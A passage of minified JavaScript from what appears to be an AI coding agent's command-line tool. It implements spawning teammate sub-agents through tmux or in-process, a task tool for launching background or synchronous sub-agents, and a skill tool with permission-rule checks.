B=M?"current":Sf,b=M?"current":"swarm-view";q((Q)=>({...Q,teamContext:{...Q.teamContext,teamName:_??Q.teamContext?.teamName??"default",teamFilePath:Q.teamContext?.teamFilePath??"",leadAgentId:Q.teamContext?.leadAgentId??"",teammates:{...Q.teamContext?.teammates||{},[W]:{name:Z,agentType:H,color:P,tmuxSessionName:B,tmuxPaneId:f,cwd:D,spawnedAt:Date.now()}}}})),P5K(q,{teammateId:W,sanitizedName:Z,teamName:_,teammateColor:P,prompt:w,plan_mode_required:O,paneId:f,insideTmux:M});let F=a3A(_);if(!F)throw Error(`Team "${_}" does not exist. Call spawnTeam first to create the team.`);return F.members.push({agentId:W,name:Z,agentType:H,model:X,prompt:w,color:P,planModeRequired:O,joinedAt:Date.now(),tmuxPaneId:f,cwd:D,subscriptions:[],backendType:j.backend.type}),oS6(_,F),Q3(Z,{from:P2,text:w,timestamp:new Date().toISOString()},_),{data:{teammate_id:W,agent_id:W,agent_type:H,model:X,name:Z,color:P,tmux_session_name:B,tmux_window_name:b,tmux_pane_id:f,team_name:_,is_splitpane:!0,plan_mode_required:O}}}async function EV2(A,K){let{setAppState:q,getAppState:Y}=K,{name:z,prompt:w,agent_type:H,cwd:J,plan_mode_required:O}=A,X=A.model??nS6;if(!z||!w)throw Error("name and prompt are required for spawn operation");let $=await Y(),_=A.team_name||$.teamContext?.teamName;if(!_)throw Error("team_name is required for spawn operation. Either provide team_name in input or call spawnTeam first to establish team context.");let G=aS6(z,_),Z=rS6(G),W=cf(Z,_),D=`teammate-${W5K(Z)}`,j=J||x1();await NV2(Sf);let M=Ym(W),P=await R6(Hj,["new-window","-t",Sf,"-n",D,"-P","-F","#{pane_id}"]);if(P.code!==0)throw Error(`Failed to create tmux window: ${P.stderr}`);let f=P.stdout.trim(),N=D5K(),T=[`--agent-id ${R4([W])}`,`--agent-name ${R4([Z])}`,`--team-name ${R4([_])}`,`--agent-color ${R4([M])}`,`--parent-session-id ${R4([d1()])}`,O?"--plan-mode-required":"",H?`--agent-type ${R4([H])}`:""].filter(Boolean).join(" "),C=j5K({planModeRequired:O,permissionMode:$.toolPermissionContext.mode});if(X)C=C.split(" ").filter((b,F,Q)=>b!=="--model"&&Q[F-1]!=="--model").join(" "),C=C?`${C} --model ${R4([X])}`:`--model ${R4([X])}`;let R=C?` ${C}`:"",x=`cd ${R4([j])} && CLAUDECODE=1 ${R4([N])} ${T}${R}`,y=await R6(Hj,["send-keys","-t",`${Sf}:${D}`,x,"Enter"]);if(y.code!==0)throw Error(`Failed to send command to tmux window: ${y.stderr}`);q((b)=>({...b,teamContext:{...b.teamContext,teamName:_??b.teamContext?.teamName??"default",teamFilePath:b.teamContext?.teamFilePath??"",leadAgentId:b.teamContext?.leadAgentId??"",teammates:{...b.teamContext?.teammates||{},[W]:{name:Z,agentType:H,color:M,tmuxSessionName:Sf,tmuxPaneId:f,cwd:j,spawnedAt:Date.now()}}}})),P5K(q,{teammateId:W,sanitizedName:Z,teamName:_,teammateColor:M,prompt:w,plan_mode_required:O,paneId:f,insideTmux:!1});let B=a3A(_);if(!B)throw Error(`Team "${_}" does not exist. Call spawnTeam first to create the team.`);return B.members.push({agentId:W,name:Z,agentType:H,model:X,prompt:w,color:M,planModeRequired:O,joinedAt:Date.now(),tmuxPaneId:f,cwd:j,subscriptions:[],backendType:"tmux"}),oS6(_,B),Q3(Z,{from:P2,text:w,timestamp:new Date().toISOString()},_),{data:{teammate_id:W,agent_id:W,agent_type:H,model:X,name:Z,color:M,tmux_session_name:Sf,tmux_window_name:D,tmux_pane_id:f,team_name:_,is_splitpane:!1,plan_mode_required:O}}}function P5K(A,{teammateId:K,sanitizedName:q,teamName:Y,teammateColor:z,prompt:w,plan_mode_required:H,paneId:J,insideTmux:O}){let X=Ep("in_process_teammate"),$=`${q}: ${w.substring(0,50)}${w.length>50?"...":""}`,_=new AbortController,G={...oM(X,"in_process_teammate",$),type:"in_process_teammate",status:"running",identity:{agentId:K,agentName:q,teamName:Y,color:z,planModeRequired:H??!1,parentSessionId:d1()},prompt:w,abortController:_,awaitingPlanApproval:!1,permissionMode:H?"plan":"default",isIdle:!1,shutdownRequested:!1,lastReportedToolCount:0,lastReportedTokenCount:0,pendingUserMessages:[]};aM(G,A),_.signal.addEventListener("abort",()=>{let W=!O?["-L",DDA(),"kill-pane","-t",J]:["kill-pane","-t",J];R6(Hj,W)})}async function kV2(A,K){let{setAppState:q,getAppState:Y}=K,{name:z,prompt:w,agent_type:H,plan_mode_required:J}=A,O=A.model??nS6;if(!z||!w)throw Error("name and prompt are required for spawn operation");let X=await Y(),$=A.team_name||X.teamContext?.teamName;if(!$)throw Error("team_name is required for spawn operation. Either provide team_name in input or call spawnTeam first to establish team context.");let _=aS6(z,$),G=rS6(_),Z=cf(G,$),W=Ym(Z),D;if(H){let N=K.options.agentDefinitions.activeAgents.find((T)=>T.agentType===H);if(N&&sJ1(N))D=N;h(`[handleSpawnInProcess] agent_type=${H}, found=${!!D}`)}let M=await XMA({name:G,teamName:$,prompt:w,color:W,planModeRequired:J??!1,model:O},K);if(!M.success)throw Error(M.error??"Failed to spawn in-process teammate");if(h(`[handleSpawnInProcess] spawn result: taskId=${M.taskId}, hasContext=${!!M.teammateContext}, hasAbort=${!!M.abortController}`),M.taskId&&M.teammateContext&&M.abortController)ZV1({identity:{agentId:Z,agentName:G,teamName:$,color:W,planModeRequired:J??!1,parentSessionId:M.teammateContext.parentSessionId},taskId:M.taskId,prompt:w,agentDefinition:D,teammateContext:M.teammateContext,toolUseContext:K,abortController:M.abortController}),h(`[handleSpawnInProcess] Started agent execution for ${Z}`);q((f)=>{let N=!f.teamContext?.leadAgentId,T=N?cf(P2,$):f.teamContext.leadAgentId,C=f.teamContext?.teammates||{},R=N?{[T]:{name:P2,agentType:P2,color:Ym(T),tmuxSessionName:"in-process",tmuxPaneId:"leader",cwd:x1(),spawnedAt:Date.now()}}:{};return{...f,teamContext:{...f.teamContext,teamName:$??f.teamContext?.teamName??"default",teamFilePath:f.teamContext?.teamFilePath??"",leadAgentId:T,teammates:{...C,...R,[Z]:{name:G,agentType:H,color:W,tmuxSessionName:"in-process",tmuxPaneId:"in-process",cwd:x1(),spawnedAt:Date.now()}}}}});let P=a3A($);if(!P)throw Error(`Team "${$}" does not exist. Call spawnTeam first to create the team.`);return P.members.push({agentId:Z,name:G,agentType:H,model:O,prompt:w,color:W,planModeRequired:J,joinedAt:Date.now(),tmuxPaneId:"in-process",cwd:x1(),subscriptions:[],backendType:"in-process"}),oS6($,P),{data:{teammate_id:Z,agent_id:Z,agent_type:H,model:O,name:G,color:W,tmux_session_name:"in-process",tmux_window_name:"in-process",tmux_pane_id:"in-process",team_name:$,is_splitpane:!1,plan_mode_required:J}}}async function CV2(A,K){if(Gm())return kV2(A,K);if(A.use_splitpane!==!1)return vV2(A,K);return EV2(A,K)}async function V5K(A,K){return CV2(A,K)}var Z5K,nS6;var sS6=k(()=>{b1();BP1();CK();gO();y4();_H();Z1();cS();gP1();ES6();_m();G5K();q6();rJA();b1();kC();lqA();cI();Z5K=o($A(),1),nS6=l6A.firstParty});function xV2(A){let K=0,q=n2(A);for(let Y of q)if(Y.type==="assistant"){for(let z of Y.message.content)if(z.type==="tool_use")K++}return K}function tS6(A,K,q){let{prompt:Y,resolvedAgentModel:z,isBuiltInAgent:w,startTime:H}=q,J=rf(A);if(J===void 0)throw Error("No assistant messages found");let O=J.message.content.filter((_)=>_.type==="text"),X=SxA(J.message.usage),$=xV2(A);return n("tengu_agent_tool_completed",{model:z,prompt_char_count:Y.length,response_char_count:O.length,assistant_message_count:A.length,total_tool_uses:$,duration_ms:Date.now()-H,total_tokens:X,is_built_in_agent:w}),{agentId:K,content:O,totalDurationMs:Date.now()-H,totalTokens:X,totalToolUseCount:$,usage:J.message.usage}}function uV2(A,K){if(!b8())return;return A.team_name||K.teamContext?.teamName}var Ah6,LV2=2000,EV1,RV2,yV2,f5K,XI6,IV2,SV2,hV2,bV2,ZDA;var dZ1=k(()=>{F1A();z7();n_();S2();$8();xy7();aZ();K7();iw();l6();t9();l1();B3A();oZ();$8();vP1();XWA();rM();kC();E5A();cO();MI6();OS();UK();fI6();Z1();of();M91();W2();sS6();NT();f_();Ah6=o($A(),1),EV1=P1(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS),RV2=U.object({description:U.string().describe("A short (3-5 word) description of the task"),prompt:U.string().describe("The task for the agent to perform"),subagent_type:U.string().describe("The type of specialized agent to use for this task"),model:U.enum(["sonnet","opus","haiku"]).optional().describe("Optional model to use for this agent. If not specified, inherits from parent. Prefer haiku for quick, straightforward tasks to minimize cost and latency."),resume:U.string().optional().describe("Optional agent ID to resume from. If provided, the agent will continue from the previous execution transcript."),run_in_background:U.boolean().optional().describe(`Set to true to run this agent in the background. The tool result will include an output_file path - use ${eq} tool or ${G7} tail to check on output.`),max_turns:U.number().int().positive().optional().describe("Maximum number of agentic turns (API round-trips) before stopping. Used internally for warmup.")}),yV2=U.object({name:U.string().optional().describe("Name for the spawned agent"),team_name:U.string().optional().describe("Team name for spawning. Uses current team context if omitted."),mode:UR8.optional().describe('Permission mode for spawned teammate (e.g., "plan" to require plan approval).')}),f5K=RV2.merge(yV2),XI6=EV1?f5K.omit({run_in_background:!0}):f5K,IV2=U.object({agentId:U.string(),content:U.array(U.object({type:U.literal("text"),text:U.string()})),totalToolUseCount:U.number(),totalDurationMs:U.number(),totalTokens:U.number(),usage:U.object({input_tokens:U.number(),output_tokens:U.number(),cache_creation_input_tokens:U.number().nullable(),cache_read_input_tokens:U.number().nullable(),server_tool_use:U.object({web_search_requests:U.number(),web_fetch_requests:U.number()}).nullable(),service_tier:U.enum(["standard","priority","batch"]).nullable(),cache_creation:U.object({ephemeral_1h_input_tokens:U.number(),ephemeral_5m_input_tokens:U.number()}).nullable()})}),SV2=IV2.extend({status:U.literal("completed"),prompt:U.string()}),hV2=U.object({status:U.literal("async_launched"),agentId:U.string().describe("The ID of the async agent"),description:U.string().describe("The description of the task"),prompt:U.string().describe("The prompt for the agent"),outputFile:U.string().describe("Path to the output file for checking agent progress")}),bV2=U.union([SV2,hV2,Qy7]);ZDA={async prompt({agents:A,tools:K,getToolPermissionContext:q}){let Y=await q(),z=[];for(let J of K)if(J.name?.startsWith("mcp__")){let X=J.name.split("__")[1];if(X&&!z.includes(X))z.push(X)}let w=p57(A,z),H=eS6(w,Y,Nq);return await by7(H)},name:Nq,maxResultSizeChars:1e5,async description(){return"Launch a new task"},inputSchema:XI6,outputSchema:bV2,async call({prompt:A,subagent_type:K,description:q,model:Y,resume:z,run_in_background:w,max_turns:H,name:J,team_name:O,mode:X},$,_,G,Z){let W=Date.now(),D=await $.getAppState(),j=D.toolPermissionContext.mode,M=uV2({team_name:O},D);if(hZ()&&M){if(J)throw Error("In-process teammates cannot spawn other teammates. Only the team leader can spawn teammates.");if(w===!0)throw Error("In-process teammates cannot spawn background agents. Use run_in_background=false for synchronous subagents.")}if(M&&J){let r=await V5K({name:J,prompt:A,team_name:M,use_splitpane:!0,plan_mode_required:X==="plan",model:Y},$);return{data:{status:"teammate_spawned",prompt:A,...r.data}}}let P=$.options.agentDefinitions.activeAgents,f=eS6(P,D.toolPermissionContext,Nq),N=f.find((r)=>r.agentType===K);if(!N){if(P.find((c)=>c.agentType===K)){let c=Kh6(D.toolPermissionContext,Nq,K);throw Error(`Agent type '${K}' has been denied by permission rule '${Nq}(${K})' from ${c?.source??"settings"}.`)}throw Error(`Agent type '${K}' not found. Available agents: ${f.map((c)=>c.agentType).join(", ")}`)}if(N.requiredMcpServers?.length){let r=[];for(let c of D.mcp.tools)if(c.name?.startsWith("mcp__")){let e=c.name.split("__")[1];if(e&&!r.includes(e))r.push(e)}if(!u_6(N,r)){let c=N.requiredMcpServers.filter((YA)=>!r.some((e)=>e.toLowerCase().includes(YA.toLowerCase())));throw Error(`Agent '${K}' requires MCP servers matching: ${c.join(", ")}. MCP servers with tools: ${r.length>0?r.join(", "):"none"}. Use /mcp to configure and authenticate the required MCP servers.`)}}if(N.color)EGA(K,N.color);let T=Bq1(N.model,$.options.mainLoopModel,Y,j);n("tengu_agent_tool_selected",{agent_type:N.agentType,model:T,source:N.source,color:N.color,is_built_in_agent:UD(N)});let C;if(z){let r=await yV1(oD(z));if(!r)throw Error(`No transcript found for agent ID: ${z}`);C=RV1(LV1(r))}let R=N?.forkContext?$.messages:void 0,x;try{let r=Array.from(D.toolPermissionContext.additionalWorkingDirectories.keys()),c=N.getSystemPrompt({toolUseContext:$});x=await BQA([c],T,r)}catch(r){h(`Failed to get system prompt for agent ${N.agentType}: ${r instanceof Error?r.message:String(r)}`)}let y=N?.forkContext?Uy7(A,G):[t1({content:A})],B={prompt:A,resolvedAgentModel:T,isBuiltInAgent:UD(N),startTime:W},b=D.toolPermissionContext.mode==="coordinator",F=(w===!0||b)&&!EV1,Q={...D.toolPermissionContext,mode:N.permissionMode??"acceptEdits"},u=kV1(Q,D.mcp.tools),d={agentDefinition:N,promptMessages:C?[...C,...y]:y,toolUseContext:$,canUseTool:_,forkContextMessages:R,isAsync:F,...b?{canShowPermissionPrompts:!0}:{},querySource:$.options.querySource??F7K(N.agentType,UD(N)),model:Y,maxTurns:H,override:x?{systemPrompt:x}:void 0,availableTools:u};if(F){let r=z||HL(),c=Uj7({agentId:r,description:q,prompt:A,selectedAgent:N,setAppState:$.setAppState,parentAbortController:$.abortController}),YA={agentId:r,parentSessionId:tn(),agentType:"subagent"};return q$A(YA,async()=>{try{let e=[],qA=JmA(),HA=XmA($.options.tools);for await(let JA of DL({...d,override:{...d.override,agentId:oD(c.agentId),abortController:c.abortController}}))e.push(JA),OWA(qA,JA,HA,$.options.tools),zP6(c.agentId,OmA(qA),$.setAppState);let _A=tS6(e,c.agentId,B),a=_A.content.filter((JA)=>JA.type==="text").map((JA)=>JA.text).join(` `);wP6(_A,$.setAppState),rqA(c.agentId,q,"completed",void 0,$.setAppState,a)}catch(e){if(e instanceof y2){nqA(c.agentId,$.setAppState),rqA(c.agentId,q,"killed",void 0,$.setAppState);return}let qA=e instanceof Error?e.message:String(e);HP6(c.agentId,qA,$.setAppState),rqA(c.agentId,q,"failed",qA,$.setAppState)}}),{data:{isAsync:!0,status:"async_launched",agentId:c.agentId,description:q,prompt:A,outputFile:Ew(c.agentId)}}}else{let r=z?oD(z):HL(),c={agentId:r,parentSessionId:tn(),agentType:"subagent"};return q$A(c,async()=>{let YA=[],e=[],qA=Date.now();if(y[0]&&y[0].type==="user"){let hA=n2(y),yA=hA.find((AA)=>AA.type==="user");if(yA&&yA.type==="user"&&Z)Z({toolUseID:`agent_${G.message.id}`,data:{message:yA,normalizedMessages:hA,type:"agent_progress",prompt:A,resume:z,agentId:r}})}let HA,_A;if(!EV1){let hA=pj7({agentId:r,description:q,prompt:A,selectedAgent:N,setAppState:$.setAppState});HA=hA.taskId,_A=hA.backgroundSignal}let a=!1,JA=DL({...d,override:{...d.override,agentId:r}})[Symbol.asyncIterator]();try{while(!0){let hA=Date.now()-qA;if(!EV1&&!a&&hA>=LV2&&$.setToolJSX)a=!0,$.setToolJSX({jsx:Ah6.createElement(xP1,null),shouldHidePromptInput:!1,shouldContinueAnimation:!0,showSpinner:!0});let yA=JA.next(),AA=_A?await Promise.race([yA.then((t)=>({type:"message",result:t})),_A.then(()=>({type:"background"}))]):await yA.then((t)=>({type:"message",result:t}));if(AA.type==="background"&&HA){let XA=(await $.getAppState()).tasks[HA];if(na(XA)&&XA.isBackgrounded){let VA=HA;return q$A(c,async()=>{try{let vA=JmA(),RA=XmA($.options.tools);for(let SA of YA)OWA(vA,SA,RA,$.options.tools);for await(let SA of DL({...d,isAsync:!0,override:{...d.override,agentId:oD(VA),abortController:XA.abortController}}))YA.push(SA),OWA(vA,SA,RA,$.options.tools),zP6(VA,OmA(vA),$.setAppState);let fA=tS6(YA,VA,B),LA=fA.content.filter((SA)=>SA.type==="text").map((SA)=>SA.text).join(` `);wP6(fA,$.setAppState),rqA(VA,q,"completed",void 0,$.setAppState,LA)}catch(vA){if(vA instanceof y2){nqA(VA,$.setAppState),rqA(VA,q,"killed",void 0,$.setAppState);return}let RA=vA instanceof Error?vA.message:String(vA);HP6(VA,RA,$.setAppState),rqA(VA,q,"failed",RA,$.setAppState)}}),{data:{isAsync:!0,status:"async_launched",agentId:VA,description:q,prompt:A,outputFile:Ew(VA)}}}}if(AA.type!=="message")continue;let{result:wA}=AA;if(wA.done)break;let GA=wA.value;if(YA.push(GA),GA.type!=="assistant"&&GA.type!=="user")continue;if(GA.type==="assistant"){let t=lJ1(GA);if(t>0)$.setResponseLength((XA)=>XA+t)}let OA=n2([GA]);e.push(...OA);for(let t of OA)for(let XA of t.message.content){if(XA.type!=="tool_use"&&XA.type!=="tool_result")continue;if(Z)Z({toolUseID:`agent_${G.message.id}`,data:{message:t,normalizedMessages:e,type:"agent_progress",prompt:A,resume:z,agentId:r}})}}}finally{if($.setToolJSX)$.setToolJSX(null);if(HA)cj7(HA,$.setAppState)}let jA=KD(YA.filter((hA)=>hA.type!=="system"&&hA.type!=="progress"));if(jA&&CV1(jA))throw new y2;let MA=tS6(YA,r,B);return{data:{status:"completed",prompt:A,...MA}}})}},isReadOnly(){return!0},isConcurrencySafe(){return!0},isEnabled(){return!0},userFacingName:JI6,userFacingNameBackgroundColor:OI6,getActivityDescription(A){return A?.description??"Running task"},async checkPermissions(A,K){let q=await K.getAppState();return{behavior:"allow",updatedInput:A}},mapToolResultToToolResultBlockParam(A,K){let q=A;if(typeof q==="object"&&q!==null&&"status"in q&&q.status==="teammate_spawned"){let Y=q;return{tool_use_id:K,type:"tool_result",content:[{type:"text",text:`Spawned successfully. agent_id: ${Y.teammate_id} name: ${Y.name} team_name: ${Y.team_name} The agent is now running and will receive instructions via mailbox.`}]}}if(A.status==="async_launched")return{tool_use_id:K,type:"tool_result",content:[{type:"text",text:`Async agent launched successfully. agentId: ${A.agentId} (internal ID - do not mention to user. Use to resume later if needed.) output_file: ${A.outputFile} The agent is working in the background. You will be notified when it completes—no need to check. Continue with other tasks. To check progress before completion (optional), use ${eq} or ${G7} tail on the output file.`}]};if(A.status==="completed")return{tool_use_id:K,type:"tool_result",content:[...A.content,{type:"text",text:`agentId: ${A.agentId} (for resuming to continue this agent's work if needed)`}]};throw Error(`Unexpected agent tool result status: ${A.status}`)},renderToolResultMessage:T7K,renderToolUseMessage:v7K,renderToolUseTag:E7K,renderToolUseProgressMessage:zMA,renderToolUseRejectedMessage:k7K,renderToolUseErrorMessage:C7K,renderGroupedToolUse:L7K}});function N5K(A){if("status"in A&&A.status==="forked")return X3.createElement(k6,{height:1},X3.createElement(V,null,X3.createElement(Y8,null,["Done"])));let K=["Successfully loaded skill"];if("allowedTools"in A&&A.allowedTools&&A.allowedTools.length>0){let q=A.allowedTools.length;K.push(`${q} tool${q===1?"":"s"} allowed`)}if("model"in A&&A.model)K.push(A.model);return X3.createElement(k6,{height:1},X3.createElement(V,null,X3.createElement(Y8,null,K)))}function T5K({skill:A},{commands:K}){if(!A)return null;return K?.find((z)=>z.name===A)?.loadedFrom==="commands_DEPRECATED"?`/${A}`:A}function IV1(A,{tools:K,verbose:q}){if(!A.length)return X3.createElement(k6,{height:1},X3.createElement(V,{dimColor:!0},mV2));let Y=q?A:A.slice(-BV2),z=A.length-Y.length;return X3.createElement(k6,null,X3.createElement(S,{flexDirection:"column"},X3.createElement(mBA,null,Y.map((w)=>X3.createElement(S,{key:w.uuid,height:1,overflow:"hidden"},X3.createElement(fv,{message:w.data.message,messages:w.data.normalizedMessages,addMargin:!1,tools:K,commands:[],verbose:q,erroredToolUseIDs:new Set,inProgressToolUseIDs:new Set,resolvedToolUseIDs:hQA(A),progressMessagesForMessage:A,shouldAnimate:!1,shouldShowDot:!1,style:"condensed",isTranscriptMode:!1,isStatic:!0})))),z>0&&X3.createElement(V,{dimColor:!0},"+",z," more tool ",z===1?"use":"uses")))}function v5K(A,{progressMessagesForMessage:K,tools:q,verbose:Y}){return X3.createElement(X3.Fragment,null,IV1(K,{tools:q,verbose:Y}),X3.createElement(u9,null))}function E5K(A,{progressMessagesForMessage:K,tools:q,verbose:Y}){return X3.createElement(X3.Fragment,null,IV1(K,{tools:q,verbose:Y}),X3.createElement(C3,{result:A,verbose:Y}))}var X3,BV2=3,mV2="Initializing…";var k5K=k(()=>{mA();J0();__();Eq();Dq();x3A();ca();$8();X3=o($A(),1)});function C5K(A,K){if(!K)return A;return A.map((q)=>{if(q.type==="user")return{...q,sourceToolUseID:K};return q})}function L5K(A,K){let q=A.message.content.find((Y)=>Y.type==="tool_use"&&Y.name===K);return q&&q.type==="tool_use"?q.id:void 0}async function gV2(A,K,q,Y,z,w,H){let J=Date.now(),O=HL();n("tengu_skill_tool_invocation",{command_name:"custom",execution_context:"fork",...!1});let{modifiedGetAppState:X,baseAgent:$,promptMessages:_,skillContent:G}=await kP1(A,q||"",Y),Z=[];h(`SkillTool executing forked skill ${K} with agent ${$.agentType}`);for await(let j of DL({agentDefinition:$,promptMessages:_,toolUseContext:{...Y,getAppState:X},canUseTool:z,isAsync:!1,querySource:"agent:custom",model:A.model,availableTools:Y.options.tools}))if(Z.push(j),(j.type==="assistant"||j.type==="user")&&H){let M=n2(Z);for(let P of n2([j]))if(P.message.content.some((N)=>N.type==="tool_use"||N.type==="tool_result"))H({toolUseID:`skill_${w.message.id}`,data:{message:P,normalizedMessages:M,type:"skill_progress",prompt:G,agentId:O}})}let W=CP1(Z,"Skill execution completed"),D=Date.now()-J;return h(`SkillTool forked skill ${K} completed in ${D}ms`),{data:{success:!0,commandName:K,status:"forked",agentId:O,result:W}}}function cV2(A){for(let K of Object.keys(A)){if(dV2.has(K))continue;let q=A[K];if(q===void 0||q===null)continue;if(Array.isArray(q)&&q.length===0)continue;if(typeof q==="object"&&!Array.isArray(q)&&Object.keys(q).length===0)continue;return!1}return!0}function lV2(A){if(A.source!=="plugin"||!A.pluginInfo?.repository)return!1;let K=A.pluginInfo.repository.lastIndexOf("@");if(K<=0)return!1;let q=A.pluginInfo.repository.slice(K+1);return O7A.has(q)}var FV2,QV2,UV2,pV2,nt,dV2;var SV1=k(()=>{z7();X0();ID();q6();S2();SP1();zmA();k5K();l1();Z1();q6();b1();wz();$I6();B3A();OS();eB();$8();IP1();FV2=U.object({skill:U.string().describe('The skill name. E.g., "commit", "review-pr", or "pdf"'),args:U.string().optional().describe("Optional arguments for the skill")}),QV2=U.object({success:U.boolean().describe("Whether the skill is valid"),commandName:U.string().describe("The name of the skill"),allowedTools:U.array(U.string()).optional().describe("Tools allowed by this skill"),model:U.string().optional().describe("Model override if specified"),status:U.literal("inline").optional().describe("Execution status")}),UV2=U.object({success:U.boolean().describe("Whether the skill completed successfully"),commandName:U.string().describe("The name of the skill"),status:U.literal("forked").describe("Execution status"),agentId:U.string().describe("The ID of the sub-agent that executed the skill"),result:U.string().describe("The result from the forked skill execution")}),pV2=U.union([QV2,UV2]),nt={name:FG,maxResultSizeChars:1e5,inputSchema:FV2,outputSchema:pV2,description:async({skill:A})=>`Execute skill: ${A}`,prompt:async()=>oM6(sW()),userFacingName:()=>FG,isConcurrencySafe:()=>!1,isEnabled:()=>!0,isReadOnly:()=>!1,async validateInput({skill:A},K){let q=A.trim();if(!q)return{result:!1,message:`Invalid skill format: ${A}`,errorCode:1};let Y=q.startsWith("/");if(Y)n("tengu_skill_tool_slash_prefix",{});let z=Y?q.substring(1):q,w=await tf(sW());if(!Cd(z,w))return{result:!1,message:`Unknown skill: ${z}`,errorCode:2};let H=xS(z,w);if(!H)return{result:!1,message:`Could not load skill: ${z}`,errorCode:3};if(H.disableModelInvocation)return{result:!1,message:`Skill ${z} cannot be used with ${FG} tool due to disable-model-invocation`,errorCode:4};if(H.type!=="prompt")return{result:!1,message:`Skill ${z} is not a prompt-based skill`,errorCode:5};return{result:!0}},async checkPermissions({skill:A,args:K},q){let Y=A.trim(),z=Y.startsWith("/")?Y.substring(1):Y,H=(await q.getAppState()).toolPermissionContext,J=await tf(sW()),O=xS(z,J),X=(Z)=>{let W=Z.startsWith("/")?Z.substring(1):Z;if(W===z)return!0;if(W.endsWith(":*")){let D=W.slice(0,-2);return z.startsWith(D)}return!1},$=QS(H,nt,"deny");for(let[Z,W]of $.entries())if(X(Z))return{behavior:"deny",message:"Skill execution blocked by permission rules",decisionReason:{type:"rule",rule:W}};let _=QS(H,nt,"allow");for(let[Z,W]of _.entries())if(X(Z))return{behavior:"allow",updatedInput:{skill:A,args:K},decisionReason:{type:"rule",rule:W}};if(O?.type==="prompt"&&cV2(O))return{behavior:"allow",updatedInput:{skill:A,args:K},decisionReason:void 0};let G=[{type:"addRules",rules:[{toolName:FG,ruleContent:z}],behavior:"allow",destination:"localSettings"},{type:"addRules",rules:[{toolName:FG,ruleContent:`${z}:*`}],behavior:"allow",destination:"localSettings"}];return{behavior:"ask",message:`Execute skill: ${z}`,decisionReason:void 0,suggestions:G,updatedInput:{skill:A,args:K},metadata:{command:O}}},async call({skill:A,args:K},q,Y,z,w){let H=A.trim(),J=H.startsWith("/")?H.substring(1):H,O=await tf(sW()),X=xS(J,O);if(RP1(J),X?.type==="prompt"&&X.context==="fork")return gV2(X,J,K,q,Y,z,w);let $=await u7K(J,K||"",O,q);if(!$.shouldQuery)throw Error("Command processing failed");let _=$.allowedTools||[],G=$.model,Z=$.maxThinkingTokens,W=mt().has(J),D=X?.type==="prompt"&&lV2(X);n("tengu_skill_tool_invocation",{command_name:W||D?J:"custom",...!1});let M=L5K(z,FG),P=C5K($.messages.filter((T)=>{if(T.type==="progress")return!1;if(T.type==="user"&&"message"in T){let C=T.message.content;if(typeof C==="string"&&C.includes(`<${tW}>`))return!1}return!0}),M);h(`SkillTool returning ${P.length} newMessages for skill ${J}`),P.forEach((T,C)=>{if(T.type==="user"&&"message"in T){let R=typeof T.message.content==="string"?T.message.content:UA(T.message.content);h(` newMessage ${C+1}: ${R.substring(0,150)}...`)}});let f=P.filter((T)=>T.type==="user"&&("message"in T)).map((T)=>{let C=T.message.content;return typeof C==="string"?C:UA(C)}).join(` `),N=X?.type==="prompt"&&X.source?`${X.source}:${J}`:J;if(UnA(J,N,f),X?.type==="prompt"&&X.hooks){let T=d1();EP1(q.setAppState,T,X.hooks,J,X.skillRoot)}return{data:{success:!0,commandName:J,allowedTools:_.length>0?_:void 0,model:G},newMessages:P,contextModifier(T){let C=T;if(_.length>0){let R=C.getAppState;C={...C,async getAppState(){let x=await R();return{...x,toolPermissionContext:{...x.toolPermissionContext,alwaysAllowRules:{...x.toolPermissionContext.alwaysAllowRules,command:[...new Set([...x.toolPermissionContext.alwaysAllowRules.command||[],..._])]}}}}}}if(G)C={...C,options:{...C.options,mainLoopModel:G}};if(Z!==void 0)C={...C,options:{...C.options,maxThinkingTokens:Z}};return C}}},mapToolResultToToolResultBlockParam(A,K){if("status"in A&&A.status==="forked")return{type:"tool_result",tool_use_id:K,content:`Skill "${A.commandName}" completed (forked execution). Result: ${A.result}`};return{type:"tool_result",tool_use_id:K,content:`Launching skill: ${A.commandName}`}},renderToolResultMessage:N5K,renderToolUseMessage:T5K,renderToolUseProgressMessage:IV1,renderToolUseRejectedMessage:v5K,renderToolUseErrorMessage:E5K},dV2=new Set(["type","progressMessage","contentLength","argNames","model","source","pluginInfo","disableNonInteractive","skillRoot","context","agent","getPromptForCommand","frontmatterKeys","name","description","hasUserSpecifiedDescription","isEnabled","isHidden","aliases","isMcp","argumentHint","whenToUse","version","disableModelInvocation","userInvocable","loadedFrom","immediate","userFacingName"])});function qh6(A){let K=s(25),{count:q,countLabel:Y,secondaryCount:z,secondaryLabel:w,content:H,verbose:J}=A,O;if(K[0]!==q)O=y$.default.createElement(V,{bold:!0},q," "),K[0]=q,K[1]=O;else O=K[1];let X;if(K[2]!==q||K[3]!==Y)X=q===0||q>1?Y:Y.slice(0,-1),K[2]=q,K[3]=Y,K[4]=X;else X=K[4];let $;if(K[5]!==O||K[6]!==X)$=y$.default.createElement(V,null,"Found ",O,X),K[5]=O,K[6]=X,K[7]=$;else $=K[7];let _=$,G;if(K[8]!==z||K[9]!==w)G=z!==void 0&&w?y$.default.createElement(V,null," ","across ",y$.default.createElement(V,{bold:!0},z," "),z===0||z>1?w:w.slice(0,-1)):null,K[8]=z,K[9]=w,K[10]=G;else G=K[10];let Z=G;if(J){let j;if(K[11]!==_||K[12]!==Z)j=y$.default.createElement(S,{flexDirection:"row"},y$.default.createElement(V,null," ⎿ ",_,Z)),K[11]=_,K[12]=Z,K[13]=j;else j=K[13];let M;if(K[14]!==H)M=y$.default.createElement(S,{marginLeft:5},y$.default.createElement(V,null,H)),K[14]=H,K[15]=M;else M=K[15];let P;if(K[16]!==j||K[17]!==M)P=y$.default.createElement(S,{flexDirection:"column"},j,M),K[16]=j,K[17]=M,K[18]=P;else P=K[18];return P}let W;if(K[19]!==q)W=q>0&&y$.default.createElement(mI,null),K[19]=q,K[20]=W;else W=K[20];let D;if(K[21]!==_||K[22]!==Z||K[23]!==W)D=y$.default.createElement(k6,{height:1},y$.default.createElement(V,null,_,Z," ",W)),K[21]=_,K[22]=Z,K[23]=W,K[24]=D;else D=K[24];return D}function R5K({pattern:A,path:K},{verbose:q}){if(!A)return null;let Y=[`pattern: "${A}"`];if(K)Y.push(`path: "${q?K:Z5(K)}"`);return Y.join(", ")}function y5K(){return y$.default.createElement(u9,null)}function I5K(A,{verbose:K}){if(!K&&typeof A==="string"&&i7(A,"tool_use_error"))return y$.default.createElement(k6,null,y$.default.createElement(V,{color:"error"},"Error searching files"));return y$.default.createElement(C3,{result:A,verbose:K})}function S5K(){return null}function 